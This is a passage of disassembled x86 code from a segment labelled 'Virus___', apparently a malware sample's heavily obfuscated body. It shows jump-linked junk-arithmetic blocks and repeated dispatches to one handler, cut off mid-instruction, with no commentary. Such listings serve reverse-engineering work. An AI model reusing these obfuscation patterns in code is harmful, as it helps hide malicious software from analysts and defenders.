; --------------------------------------------------------------------------- loc_5900AB: ; CODE XREF: Virus___:0058A86Cj dec ecx jmp loc_582C52 ; --------------------------------------------------------------------------- loc_5900B1: ; CODE XREF: Virus___:00589692j xchg ebx, edx xchg edx, edi shr edi, 1 and edi, 1E8704F0h sub esp, 4 jmp loc_580811 ; --------------------------------------------------------------------------- loc_5900C8: ; CODE XREF: Virus___:0058BFA3j pop ebp push edi jmp loc_58D5BB ; --------------------------------------------------------------------------- loc_5900CF: ; CODE XREF: Virus___:0058D183j mov ecx, 27557BAh not ecx jmp loc_582BF4 ; --------------------------------------------------------------------------- loc_5900DB: ; CODE XREF: Virus___:0058E187j add ebp, ecx add ebp, 1EF44029h push dword ptr [esp] jmp loc_58432A ; --------------------------------------------------------------------------- loc_5900EB: ; CODE XREF: Virus___:00593C79j not edx neg edx xor edx, 487234B2h dec edx sub edx, 7A792725h add ebx, edx jmp loc_5899C5 ; --------------------------------------------------------------------------- loc_590103: ; CODE XREF: Virus___:0058488Aj push dword ptr [esp] pop ecx add esp, 4 push esi add dword ptr [esp], 39C36615h pop ebx jmp loc_59041C ; --------------------------------------------------------------------------- loc_590118: ; CODE XREF: Virus___:00593F8Dj push eax mov eax, 6A2D0BE4h shl eax, 7 not eax not eax dec eax sub eax, 0EF6F90BAh add eax, 0FFFFFFFFh xor eax, 686D7619h or eax, 28EB718Fh jmp loc_587958 ; --------------------------------------------------------------------------- loc_59013F: ; CODE XREF: Virus___:0058D621j mov dh, al jmp loc_58C884 ; --------------------------------------------------------------------------- loc_590146: ; CODE XREF: Virus___:00585ACDj mov ecx, 0A0A2FDh xor edx, ecx jmp loc_58E6C6 ; --------------------------------------------------------------------------- loc_590152: ; CODE XREF: Virus___:0058A070j and ebx, 6C8870DEh add ebx, 0FFFFFFFFh add ebx, 11DC02FDh push 6955h mov [esp], ebp jmp loc_585175 ; --------------------------------------------------------------------------- loc_59016E: ; CODE XREF: Virus___:0057F5ACj add esp, 4 push dword ptr [esp] pop ecx push eax push esp pop eax push ebp push ecx jmp loc_590CB0 ; --------------------------------------------------------------------------- loc_59017F: ; CODE XREF: Virus___:00593FABj add esp, 4 sub esi, 4104h add edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp bt [esp], eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5901A2: ; CODE XREF: Virus___:0059287Dj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5901A7: ; CODE XREF: Virus___:005805F4j mov bl, 97h or cl, bl pop bx add cl, 99h jmp loc_58C772 ; --------------------------------------------------------------------------- loc_5901B5: ; CODE XREF: Virus___:00591C9Ej push 6639h jmp loc_588B56 ; --------------------------------------------------------------------------- loc_5901BF: ; CODE XREF: Virus___:0058DABFj add esp, 4 mov eax, [esp] push ebp jmp loc_586FBE ; --------------------------------------------------------------------------- loc_5901CB: ; CODE XREF: Virus___:0058F44Bj inc eax neg eax add eax, 78037549h mov ebx, eax pop eax mov ebp, 22C3EB36h add ebp, ebx pop ebx xor ebp, 43F04461h push edi mov edi, 75332F0h add ebp, edi pop edi sub ebp, 4EF82984h jmp loc_58C0A1 ; --------------------------------------------------------------------------- loc_5901F8: ; CODE XREF: Virus___:00586EDFj push esi jmp loc_5919DA ; --------------------------------------------------------------------------- loc_5901FE: ; CODE XREF: Virus___:0058D21Aj pop edi mov esi, edx pop edx add ecx, esi jmp loc_589FEB ; --------------------------------------------------------------------------- push ecx mov ecx, esp add ecx, 4 push ebp push edx mov edx, 43781FD8h not edx sub edx, 305D1E66h or edx, 7BAA4454h sub edx, 0FFAAC5D1h mov ebp, edx jmp loc_5878AA ; --------------------------------------------------------------------------- loc_590234: ; CODE XREF: Virus___:00582A69j add esi, ebx pop ebx xchg esi, [esp] mov esp, [esp] mov eax, [esp] push 37E4h mov [esp], esi jmp loc_58341A ; --------------------------------------------------------------------------- loc_59024D: ; CODE XREF: Virus___:005840DFj mov esi, ebp mov ebp, [esp] add esp, 4 add ecx, 6D9367B4h jmp loc_591DEF ; --------------------------------------------------------------------------- loc_590263: ; CODE XREF: Virus___:005911F4j pop ecx sub esp, 4 jmp loc_5879CB ; --------------------------------------------------------------------------- loc_59026F: ; CODE XREF: Virus___:0058E28Cj mov [esp], ebx mov ebx, 0F5402F1h push 33ACh mov [esp], ebp push eax push 307E0815h jmp loc_5831C6 ; --------------------------------------------------------------------------- loc_59028A: ; CODE XREF: Virus___:00582F0Aj mov [esp], eax push esp pop eax push esi mov esi, 7E9005B9h and esi, 6B3530ABh not esi dec esi jmp loc_584A1C ; --------------------------------------------------------------------------- loc_5902A3: ; CODE XREF: Virus___:0058E888j mov esi, esp push 4B78h mov [esp], ebx mov ebx, 28EE1C77h add ebx, 0FFFFFFFFh push 0 sub [esp], ebx pop ebx push ebp mov ebp, 70D16ECAh jmp loc_5891F7 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push edx push esp pop edx add edx, 4 sub edx, 4 jmp loc_592F3B ; --------------------------------------------------------------------------- loc_5902E2: ; CODE XREF: Virus___:0058BD46j mov ecx, 4 add edx, ecx pop ecx sub edx, 4 xchg edx, [esp] pop esp jmp loc_593F7A ; --------------------------------------------------------------------------- loc_5902F9: ; CODE XREF: Virus___:00587C6Bj not edi dec edi push esi jmp loc_585269 ; --------------------------------------------------------------------------- loc_590302: ; CODE XREF: Virus___:0058FD5Cj xor ebx, [esp] pop esp xchg ecx, [esp] jmp loc_5827AD ; --------------------------------------------------------------------------- loc_59030E: ; CODE XREF: Virus___:00589A50j xchg ebp, [esp] pop esp jmp loc_58A109 ; --------------------------------------------------------------------------- loc_590317: ; CODE XREF: Virus___:0058CA6Fj add al, 8Bh mov dx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 2 jmp loc_5839F1 ; --------------------------------------------------------------------------- loc_59032E: ; CODE XREF: Virus___:0058A635j pop esp pop dword ptr [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_59033C: ; CODE XREF: Virus___:0058D856j push ebp mov ebp, 4BD0B18h add edx, ebp pop ebp push edi push 5672h jmp loc_585048 ; --------------------------------------------------------------------------- loc_590350: ; CODE XREF: Virus___:005802DFj add esp, 4 xor edx, 1E0501DBh add edx, 7FFD8523h or ebp, edx pop edx push eax jmp loc_586082 ; --------------------------------------------------------------------------- loc_59036B: ; CODE XREF: Virus___:005832B0j sub edx, 33144A9Dh sub eax, edx push dword ptr [esp] pop edx add esp, 4 add eax, edx add eax, 7E644E88h sub eax, 43CE1910h push dword ptr [esp] pop edx push ebx jmp loc_59314F ; --------------------------------------------------------------------------- mov ax, [esp] push ebx jmp loc_588949 ; --------------------------------------------------------------------------- loc_59039A: ; CODE XREF: Virus___:00586E6Bj xor edi, 10805544h add ebx, edi pop edi push edi push 2 push dword ptr [esp] pop edi push 706Bh mov [esp], edx jmp loc_58BF3B ; --------------------------------------------------------------------------- loc_5903BA: ; CODE XREF: Virus___:00585D9Cj mov edi, 24h mov ecx, edi pop edi push edi mov edi, 717679E3h add ecx, edi jmp loc_59165A ; --------------------------------------------------------------------------- loc_5903CF: ; CODE XREF: Virus___:0058F456j xchg edx, [esp] pop esp mov [esp], ebx mov ebx, esp push ebp mov ebp, 4 push ecx mov ecx, 4C0D6793h sub ecx, 0F66A44B7h jmp loc_5869EC ; --------------------------------------------------------------------------- loc_5903EF: ; CODE XREF: Virus___:00589EE7j add esp, 4 pop eax add edx, edi pop edi push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 add esp, 4 add edx, edi push dword ptr [edx] xor dword ptr [esp], 107146DEh jmp loc_5816BB ; --------------------------------------------------------------------------- loc_59041C: ; CODE XREF: Virus___:00590113j sub ebx, 39C36615h push dword ptr [esp] pop esi jmp loc_58BC3F ; --------------------------------------------------------------------------- loc_59042B: ; CODE XREF: Virus___:0058783Fj push eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_590432: ; CODE XREF: Virus___:00583FCAj sub edi, ebp mov ebp, [esp] add esp, 4 sub edx, edi mov edi, [esp] add esp, 4 jmp loc_5916BF ; --------------------------------------------------------------------------- loc_59044D: ; CODE XREF: Virus___:00583CF9j push esi mov esi, 6EC91DABh sub edi, esi pop esi push ebp jmp loc_5841FF ; --------------------------------------------------------------------------- loc_59045C: ; CODE XREF: Virus___:0058E159j mov [esp], eax push esp pop eax add eax, 4 jmp loc_58710C ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp pop esi push edx push eax mov eax, 6F0C396Dh or eax, 361E6E8Fh shl eax, 2 shl eax, 3 and eax, 516024Bh dec eax sub eax, 0DADFF486h mov edx, eax pop eax push edi mov edi, 1 sub edx, edi pop edi push ebp mov ebp, 6B34695Bh sub edx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push 1B4Fh jmp loc_592034 ; --------------------------------------------------------------------------- loc_5904B9: ; CODE XREF: Virus___:005909D4j mov edx, 8FD45A03h jmp loc_58CD2D ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp jmp loc_585C09 ; --------------------------------------------------------------------------- loc_5904D2: ; CODE XREF: Virus___:00591684j add dword ptr [ecx], 1 jmp loc_593DEB ; --------------------------------------------------------------------------- loc_5904DD: ; CODE XREF: Virus___:005928DFj movzx ax, byte ptr [eax] push small 4B1Dh mov [esp], ax jmp loc_58DE28 ; --------------------------------------------------------------------------- loc_5904EE: ; CODE XREF: Virus___:00586CDFj or eax, esi pop esi not eax add eax, 5A390B69h jmp loc_588343 ; --------------------------------------------------------------------------- loc_5904FD: ; CODE XREF: Virus___:0058638Dj push 7993h jmp loc_5801FE ; --------------------------------------------------------------------------- loc_590507: ; CODE XREF: Virus___:00581A7Aj add dword ptr [esp], 4 pop edx push 5EF9h mov [esp], ebp mov ebp, 4 add edx, ebp pop ebp push eax mov eax, 4 sub edx, eax pop eax jmp loc_57F82B ; --------------------------------------------------------------------------- loc_59052A: ; CODE XREF: Virus___:005839E6j push eax push esp mov eax, [esp] jmp loc_582A01 ; --------------------------------------------------------------------------- loc_590534: ; CODE XREF: Virus___:0058BF97j push eax mov eax, esp add eax, 4 jmp loc_58FA24 ; --------------------------------------------------------------------------- loc_590541: ; CODE XREF: Virus___:00585061j pop edi jmp loc_5846BF ; --------------------------------------------------------------------------- loc_590547: ; CODE XREF: Virus___:0058797Dj push ecx jmp loc_583392 ; --------------------------------------------------------------------------- loc_59054D: ; CODE XREF: Virus___:0058DE32j inc ebx jmp loc_584DBE ; --------------------------------------------------------------------------- loc_590553: ; CODE XREF: Virus___:00589D5Bj add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_58CB94 ; --------------------------------------------------------------------------- loc_590567: ; CODE XREF: Virus___:0058A3E2j xchg eax, [esp] jmp loc_5867E0 ; --------------------------------------------------------------------------- loc_59056F: ; CODE XREF: Virus___:00589EC6j sub esp, 4 mov [esp], ebp jmp loc_589F9E ; --------------------------------------------------------------------------- loc_59057D: ; CODE XREF: Virus___:00591528j and [esp], al pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_590586: ; CODE XREF: Virus___:00585C4Aj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_59058B: ; CODE XREF: Virus___:005895FEj sub ebx, 52DF72C6h jmp loc_58D11D ; --------------------------------------------------------------------------- loc_590596: ; CODE XREF: Virus___:00586DAAj add ecx, ebx jmp loc_5861B9 ; --------------------------------------------------------------------------- loc_59059D: ; CODE XREF: Virus___:00593B99j xor eax, ebx push edi jmp loc_58D9CB ; --------------------------------------------------------------------------- loc_5905A5: ; CODE XREF: Virus___:0058178Fj add esi, edx pop edx xchg esi, [esp] pop esp push 2D28h jmp loc_580BC3 ; --------------------------------------------------------------------------- loc_5905B6: ; CODE XREF: Virus___:0058B3CCj push eax jmp loc_590CF1 ; --------------------------------------------------------------------------- loc_5905BC: ; CODE XREF: Virus___:0058AEB9j add esp, 4 push ebp mov ebp, 0FCB14F0Bh add ebx, ebp pop ebp sub eax, 611D3710h jmp loc_5940D1 ; --------------------------------------------------------------------------- loc_5905D5: ; CODE XREF: Virus___:005812E6j push eax mov eax, 5B62599Bh sub ebp, eax mov eax, [esp] add esp, 4 mov ebx, ebp push dword ptr [esp] jmp loc_58A246 ; --------------------------------------------------------------------------- loc_5905ED: ; CODE XREF: Virus___:005942D7j add eax, ebp push ebp mov ebp, 0D9001F7h or ebp, 20806534h jmp loc_586B2E ; --------------------------------------------------------------------------- loc_590600: ; CODE XREF: Virus___:00582742j mov ebx, eax pop eax sub ebp, 12A26577h sub ebp, 15C0E1Eh add ebp, ebx add ebp, 15C0E1Eh add ebp, 12A26577h jmp loc_593E78 ; --------------------------------------------------------------------------- loc_590622: ; CODE XREF: Virus___:00593734j add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] add esi, 2 jmp loc_5819C6 ; --------------------------------------------------------------------------- loc_59063C: ; CODE XREF: Virus___:00584291j dec bh push dx jmp loc_593522 ; --------------------------------------------------------------------------- loc_590645: ; CODE XREF: Virus___:0058E3B0j mov ecx, [esp] jmp loc_58A120 ; --------------------------------------------------------------------------- loc_59064D: ; CODE XREF: Virus___:00588129j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_590652: ; CODE XREF: Virus___:0057FA3Bj add edx, 591C1BD7h push esi mov esi, 5A475091h push ebp mov ebp, 58C31578h neg ebp dec ebp xor ebp, 1A22757Fh sub ebp, 99797391h or esi, ebp pop ebp sub esi, 47106DE8h add esi, 1 push ecx mov ecx, 0CA5177Bh add esi, 189F6E26h add esi, ecx sub esi, 189F6E26h pop ecx sub eax, 4DC031F9h add eax, esi add eax, 4DC031F9h pop esi add eax, edx sub eax, 417C268Bh jmp loc_5932F0 ; --------------------------------------------------------------------------- loc_5906B0: ; CODE XREF: Virus___:00583B7Ej mov [esp], esi push 67B0h mov [esp], ebp mov ebp, 23FF5322h jmp loc_5851B5 ; --------------------------------------------------------------------------- loc_5906C5: ; CODE XREF: Virus___:0058357Aj sub eax, 487D189Bh xor eax, 50903042h add eax, 42AA0EEEh jmp loc_58CEDD ; --------------------------------------------------------------------------- loc_5906D9: ; CODE XREF: Virus___:005939CDj add ecx, 4 sub ecx, 4 push ecx jmp loc_58FCAF ; --------------------------------------------------------------------------- loc_5906E8: ; CODE XREF: Virus___:0058D8F0j add esp, 4 add esp, 4 pop dword ptr [esp] jmp loc_591D72 ; --------------------------------------------------------------------------- loc_5906F9: ; CODE XREF: Virus___:0058AB77j mov eax, esp sub esp, 4 jmp loc_5915C5 ; --------------------------------------------------------------------------- loc_590706: ; CODE XREF: Virus___:00593949j mov ebx, [esp] add esp, 4 add ebx, esi pop esi add ebx, 4C0C47D2h add ebx, eax push ebp mov ebp, 4C0C47D2h jmp loc_57FCBD ; --------------------------------------------------------------------------- loc_590722: ; CODE XREF: Virus___:0058A8BDj xor [esp], ebx xor ebx, [esp] pop esp add esp, 4 add bl, al sub bl, 0AFh push eax mov al, 0Fh shr al, 7 jmp loc_58949D ; --------------------------------------------------------------------------- loc_59073C: ; CODE XREF: Virus___:0057FF30j push 2EE8h mov [esp], ecx mov cl, 6 push eax mov ah, 0D8h neg ah add ah, 0C1h or cl, ah mov eax, [esp] push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dx mov dh, cl not dh mov cl, dh jmp loc_58F747 ; --------------------------------------------------------------------------- loc_590771: ; CODE XREF: Virus___:0058C573j add ebp, 36D93EFEh sub ebp, 2190222h pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edx mov edx, 24h sub edx, 696F6A3Fh add edx, edi push ecx mov ecx, 273B40EAh sub ecx, 232D3B98h jmp loc_58E8ED ; --------------------------------------------------------------------------- loc_5907A9: ; CODE XREF: Virus___:00580258j add esi, 4 push eax mov eax, 6DBE44CEh or eax, 6E9C1870h xor eax, 6FBE5CFAh sub esi, eax pop eax xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 5C0E622Fh jmp loc_58C1B9 ; --------------------------------------------------------------------------- loc_5907D3: ; CODE XREF: Virus___:0057F61Fj add edx, edi add edx, 314E3621h pop edi xor edx, [esp] jmp loc_58EA36 ; --------------------------------------------------------------------------- loc_5907E4: ; CODE XREF: Virus___:00589029j pop ebp mov edx, ebx pop ebx sub edx, 0CB15BB0h add edx, esi push 73A6h mov [esp], edi push eax push 2CF45DA0h jmp loc_589ED7 ; --------------------------------------------------------------------------- loc_590803: ; CODE XREF: Virus___:005875A1j add esi, 57326475h jmp loc_588C56 ; --------------------------------------------------------------------------- loc_59080E: ; CODE XREF: Virus___:0058560Ej mov esi, ebp jmp loc_58D8F5 ; --------------------------------------------------------------------------- loc_590815: ; CODE XREF: Virus___:0058C26Bj push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push 63FEh mov [esp], esi jmp loc_58F03F ; --------------------------------------------------------------------------- loc_590831: ; CODE XREF: Virus___:00591981j xor [esp], ebp xor ebp, [esp] pop esp push ebp mov ebp, esp add ebp, 4 jmp loc_5888F2 ; --------------------------------------------------------------------------- loc_590846: ; CODE XREF: Virus___:00586FEDj push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push eax push esp mov eax, [esp] add esp, 4 add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push ebx mov ebx, 16632185h jmp loc_588BA7 ; --------------------------------------------------------------------------- loc_590871: ; CODE XREF: Virus___:0058F0C2j mov esi, 260D18CEh mov ebx, 1F8936D1h xor ebx, esi pop esi sub ebx, edi mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub ebp, 6922719Eh add ebp, ebx add ebp, 6922719Eh pop ebx xchg ebp, [esp] mov esp, [esp] test cl, al pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5908B0: ; CODE XREF: Virus___:005932F3j mov edx, [esp] add esp, 4 add esp, 4 push 43BEh mov [esp], ecx push edx mov edx, 387917C2h push 253D0773h pop ecx xor ecx, edx pop edx push edi jmp loc_59093C ; --------------------------------------------------------------------------- loc_5908D6: ; CODE XREF: Virus___:005941CCj pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5908E7: ; CODE XREF: Virus___:00584ABDj push 64BDh mov [esp], eax jmp loc_586DEA ; --------------------------------------------------------------------------- loc_5908F4: ; CODE XREF: Virus___:00585A0Dj xor [esp], esi xor esi, [esp] pop esp sub ebp, ebx jmp loc_588612 ; --------------------------------------------------------------------------- loc_590902: ; CODE XREF: Virus___:00588B24j mov [esp], edx push 5532h mov [esp], ebx jmp loc_58D244 ; --------------------------------------------------------------------------- loc_590912: ; CODE XREF: Virus___:0058C3B9j push 3D42h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_590931: ; CODE XREF: Virus___:00581AC9j xor [esp], ebp xor ebp, [esp] jmp loc_591D66 ; --------------------------------------------------------------------------- loc_59093C: ; CODE XREF: Virus___:005908D1j mov edi, 5BE0212Bh jmp loc_581AFA ; --------------------------------------------------------------------------- loc_590946: ; CODE XREF: Virus___:005833CDj add al, 0D0h push ecx mov ch, 78h jmp loc_58AF08 ; --------------------------------------------------------------------------- loc_590950: ; CODE XREF: Virus___:00593279j add edi, 66703348h pop ebx push eax push edx push 28BE20FEh jmp loc_58AD68 ; --------------------------------------------------------------------------- loc_590963: ; CODE XREF: Virus___:00594551j and ebx, eax pop eax sub ebx, 187235E5h jmp loc_58107B ; --------------------------------------------------------------------------- loc_590971: ; CODE XREF: Virus___:0058614Bj add eax, 503859BCh push edi mov edi, 63143CC3h jmp loc_58C679 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_586DD3 ; --------------------------------------------------------------------------- loc_590989: ; CODE XREF: Virus___:00593DE6j pop dword ptr [esp] pop esp push dword ptr [esp] jmp loc_58188F ; --------------------------------------------------------------------------- loc_590995: ; CODE XREF: Virus___:00585B05j mov eax, 62097E3Ah dec eax add eax, 0E604ECD4h sub esi, eax pop eax push edx mov edx, 466B71EEh jmp loc_59397B ; --------------------------------------------------------------------------- mov ax, [esp] push eax mov eax, esp jmp loc_581701 ; --------------------------------------------------------------------------- loc_5909BA: ; CODE XREF: Virus___:00589B6Aj inc edx or edx, 708B37B5h jmp loc_58BA69 ; --------------------------------------------------------------------------- loc_5909C6: ; CODE XREF: Virus___:00592B72j sub esp, 4 jmp loc_591F0B ; --------------------------------------------------------------------------- loc_5909CE: ; CODE XREF: Virus___:0058E375j add esp, 4 jmp loc_5904B9 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5909E7: ; CODE XREF: Virus___:0059416Aj add esp, 4 add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_58BA87 ; --------------------------------------------------------------------------- loc_5909FB: ; CODE XREF: Virus___:005917B0j xchg eax, [esp] jmp loc_57F660 ; --------------------------------------------------------------------------- loc_590A03: ; CODE XREF: Virus___:0058B264j neg ecx xor ecx, 87DCDA5Dh jmp loc_58F523 ; --------------------------------------------------------------------------- loc_590A10: ; CODE XREF: Virus___:00585E8Dj xor esi, [esp] pop esp add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] movzx eax, al jmp loc_591B15 ; --------------------------------------------------------------------------- loc_590A2B: ; CODE XREF: Virus___:0058FF98j and ebp, 13987416h and ebp, 274A375Fh jmp loc_583502 ; --------------------------------------------------------------------------- loc_590A3C: ; CODE XREF: Virus___:00588B15j add ecx, edi sub ecx, 1AFD54C3h xor [ecx], edx jmp loc_58F2D9 ; --------------------------------------------------------------------------- loc_590A4B: ; CODE XREF: Virus___:0058E08Dj xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov eax, [esp] push ebx push esp pop ebx push ebp push ebx mov ebx, 1A0E6992h mov ebp, ebx pop ebx add ebp, 0E5F19672h add ebx, ebp jmp loc_58C798 ; --------------------------------------------------------------------------- loc_590A71: ; CODE XREF: Virus___:00584648j add edx, ecx mov ecx, [esp] jmp loc_587C53 ; --------------------------------------------------------------------------- loc_590A7B: ; CODE XREF: Virus___:0058B0B2j xor [esp], ecx xor ecx, [esp] pop esp mov [esp], eax push ebp push esi mov esi, 6B0A6074h jmp loc_58B8DA ; --------------------------------------------------------------------------- loc_590A91: ; CODE XREF: Virus___:00585A96j push ecx jmp loc_58FEAD ; --------------------------------------------------------------------------- loc_590A97: ; CODE XREF: Virus___:0058E5D9j add esp, 4 push 6D40h mov [esp], edi mov edi, 4 add ecx, edi jmp loc_5889BB ; --------------------------------------------------------------------------- loc_590AB1: ; CODE XREF: Virus___:0058032Aj add ebx, 4 jmp loc_58D66F ; --------------------------------------------------------------------------- loc_590ABC: ; CODE XREF: Virus___:00588F1Dj pop eax sub esp, 4 mov [esp], edi push ebx jmp loc_5850F6 ; --------------------------------------------------------------------------- loc_590ACC: ; CODE XREF: Virus___:0058C4E6j mov ebx, 195435C9h shr ebx, 7 and ebx, 3E3B71B9h dec ebx push edi mov edi, 57D92932h sub edi, 65D40C88h inc edi xor edi, 21CF7892h sub edi, 0D25B1053h jmp loc_588CAB ; --------------------------------------------------------------------------- loc_590AF9: ; CODE XREF: Virus___:00593E45j not eax push esi mov esi, 0D73FC9C0h sub eax, esi pop esi mov ebx, eax pop eax add ecx, ebx pop ebx sub ecx, esi push ebp mov ebp, 2A2268D5h not ebp xor ebp, 2F6532AEh jmp loc_58782C ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_58F677 ; --------------------------------------------------------------------------- loc_590B26: ; CODE XREF: Virus___:0058AFC7j xchg ecx, [esp] pop esp sub ebx, esi mov esi, [esp] add esp, 4 push dword ptr [eax] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_590B3C: ; CODE XREF: Virus___:00592CD5j xchg esi, [esp] jmp loc_58B2D7 ; --------------------------------------------------------------------------- loc_590B44: ; CODE XREF: Virus___:0058B3E9j mov esi, [esp] add esp, 4 xor edx, [esp] xor [esp], edx jmp loc_592461 ; --------------------------------------------------------------------------- loc_590B55: ; CODE XREF: Virus___:00589E62j mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] jmp loc_58A2B2 ; --------------------------------------------------------------------------- loc_590B64: ; CODE XREF: Virus___:0058E398j mov [esp], edx push esp pop edx add edx, 4 push ecx mov ecx, 2 add edx, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx push esp jmp loc_5871AB ; --------------------------------------------------------------------------- loc_590B87: ; CODE XREF: Virus___:0058A265j shr al, 7 and al, 0F1h add al, 3Bh add dl, al mov eax, [esp] add esp, 4 sub dl, 0C0h shr dl, 8 push eax mov al, 3Fh sub esp, 4 mov [esp], edx mov dh, 2Fh not dh add dh, 1Dh not dh push 3D21h jmp loc_585561 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_59229A ; --------------------------------------------------------------------------- loc_590BC0: ; CODE XREF: Virus___:00592295j push ebx mov ebx, esp jmp loc_5851FD ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_58C4EB ; --------------------------------------------------------------------------- loc_590BD7: ; CODE XREF: Virus___:0058D721j mov esp, [esp] mov [esp], ebp push dword ptr [esp+4] jmp loc_581D39 ; --------------------------------------------------------------------------- loc_590BE6: ; CODE XREF: Virus___:0058B217j mov eax, esp push ecx mov ecx, 62F2E7Bh add ecx, 1 shl ecx, 3 sub ecx, 1F61066Ch inc ecx add ecx, 0EDE7928Fh add eax, ecx mov ecx, [esp] add esp, 4 push edx mov edx, 481267Ah shr edx, 5 add edx, 0FFFFFFFFh shr edx, 3 jmp loc_586238 ; --------------------------------------------------------------------------- loc_590C23: ; CODE XREF: Virus___:00588A45j pop ecx dec ecx jmp loc_5844F7 ; --------------------------------------------------------------------------- loc_590C2A: ; CODE XREF: Virus___:005846BAj mov dl, 46h jmp loc_58488F ; --------------------------------------------------------------------------- loc_590C31: ; CODE XREF: Virus___:00593D55j add edx, eax jmp loc_582377 ; --------------------------------------------------------------------------- loc_590C38: ; CODE XREF: Virus___:00584A0Ej xor ebx, 0D33F6ADCh jmp loc_58000E ; --------------------------------------------------------------------------- loc_590C43: ; CODE XREF: Virus___:005846B2j push dword ptr [esp] pop edx jmp loc_58C462 ; --------------------------------------------------------------------------- loc_590C4C: ; CODE XREF: Virus___:0058B445j pop esp add ebx, eax sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], eax mov eax, 2CF901E4h jmp loc_58AFB6 ; --------------------------------------------------------------------------- loc_590C68: ; CODE XREF: Virus___:0058FC32j mov ecx, ebx mov ebx, [esp] push edx mov edx, esp jmp loc_58BC12 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp jmp loc_58D4BA ; --------------------------------------------------------------------------- loc_590C87: ; CODE XREF: Virus___:0057F6DCj mov bl, 0CEh sub bl, 0FFh sub bl, 0DCh and ah, bl pop ebx jmp loc_584EA0 ; --------------------------------------------------------------------------- loc_590C97: ; CODE XREF: Virus___:005864ACj add edi, 0C893B2C1h add ebx, edi mov edi, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx jmp loc_57FFC4 ; --------------------------------------------------------------------------- loc_590CB0: ; CODE XREF: Virus___:0059017Aj mov ecx, 4 mov ebp, ecx jmp loc_5830DC ; --------------------------------------------------------------------------- loc_590CBC: ; CODE XREF: Virus___:0058FECAj xchg ebx, [esp] pop esp xor ebp, edx pop edx jmp loc_587CC4 ; --------------------------------------------------------------------------- loc_590CC8: ; CODE XREF: Virus___:0058D7C6j push 3413h jmp loc_591E02 ; --------------------------------------------------------------------------- loc_590CD2: ; CODE XREF: Virus___:0058289Fj mov esi, eax pop eax add edi, esi mov esi, [esp] add esp, 4 jmp loc_58BC01 ; --------------------------------------------------------------------------- loc_590CE2: ; CODE XREF: Virus___:00591719j push esp pop ebp push ebx mov ebx, 4 add ebp, ebx jmp loc_58466D ; --------------------------------------------------------------------------- loc_590CF1: ; CODE XREF: Virus___:005905B7j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_58A003 ; --------------------------------------------------------------------------- loc_590D04: ; CODE XREF: Virus___:00581AF5j mov [esp], ebp mov ebp, 4A1782Ch jmp loc_580B64 ; --------------------------------------------------------------------------- loc_590D11: ; CODE XREF: Virus___:00584BD6j push edi mov edi, 1AA93B9Fh add edi, 56A8F0E8h xor ecx, edi push dword ptr [esp] pop edi push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ebp push 7FAD08E5h pop ebp jmp loc_58020D ; --------------------------------------------------------------------------- loc_590D40: ; CODE XREF: Virus___:0058CD45j xchg ebp, [esp] pop esp xchg edi, [esp] jmp loc_58B08B ; --------------------------------------------------------------------------- loc_590D4C: ; CODE XREF: Virus___:00589894j shr ebp, 6 add ebp, 326785D5h add eax, ebp pop ebp jmp loc_587B70 ; --------------------------------------------------------------------------- loc_590D5D: ; CODE XREF: Virus___:00586A2Ej pop esi push ebx push esp jmp loc_582C37 ; --------------------------------------------------------------------------- loc_590D65: ; CODE XREF: Virus___:0058470Cj push dword ptr [esp+4] jmp loc_580A38 ; --------------------------------------------------------------------------- loc_590D6E: ; CODE XREF: Virus___:0058E423j pop dword ptr [esp] mov esp, [esp] push edx mov edx, esp add edx, 4 jmp loc_58D863 ; --------------------------------------------------------------------------- loc_590D82: ; CODE XREF: Virus___:005929CCj mov [esp], esi dec dword ptr [esp] mov esi, [esp] add esp, 4 not esi add esi, 1 push ebp push eax mov 